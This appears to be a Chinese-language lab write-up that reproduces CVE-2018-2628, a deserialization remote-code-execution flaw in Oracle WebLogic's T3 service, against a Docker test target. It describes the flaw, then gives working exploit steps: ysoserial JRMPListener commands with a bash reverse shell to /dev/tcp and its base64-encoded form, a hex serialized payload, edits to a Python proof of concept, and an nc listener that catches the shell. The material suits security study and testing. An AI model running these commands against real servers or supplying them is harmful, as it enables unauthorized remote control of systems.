提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
漏洞描述
Oracle官方在2018年4月18日凌晨发布了关键补丁更新,其中包含了Oracle WebLogic Server的一个高危的Weblogic反序列化漏洞,通过该漏洞,攻击者可以在未授权的情况下远程执行代码。
此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。结合曾经爆出的Weblogic WLS 组件漏洞(CVE-2017-10271),不排除会有攻击者利用漏洞挖矿的可能,因此,建议受影响企业用户尽快部署防护措施。
2.漏洞编号
CVE-2018-2628
3.受影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
一、漏洞原理
服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections 的payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler。攻击端生成的payload发送给weblogic反序列化连接服务端,服务端把恶意序列化代码发送给weblogic,weblogic再反序列化实现攻击
二、复现
1.环境搭建
攻击机:kail
靶机:kail中的docker
该漏洞利用工具下载地址:https://github.com/Lighird/CVE-2018-2628
依旧使用vulhub进行搭建
利用
使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.193.129:7001.可以看到检测结果为漏洞存在。
启动JRMP Server:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.193.129/9999 0>&1'
在这里要注意的是
由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我们需要进行一次编码。
转化工具链接 : http://www.jackson-t.ca/runtime-exec-payloads.html
所以执行的命令应该是
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5My4xMjkvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'
在kail里面运行命令
然后继续执行命令:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.193.129:8888 | xxd -p | tr -d $'\n' && echo
生成payload
payload如下:
aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707738000a556e6963617374526566000f3139322e3136382e3139332e313239000022b8ffffffff8e58c84b00000000000000000000000000000078
然后将weblogic_poc.py 中的 PYLOAD进行替换:
并将此处IP改为目标 IP
然后nc监听9999,运行weblogic.poc
可看到反弹shell成功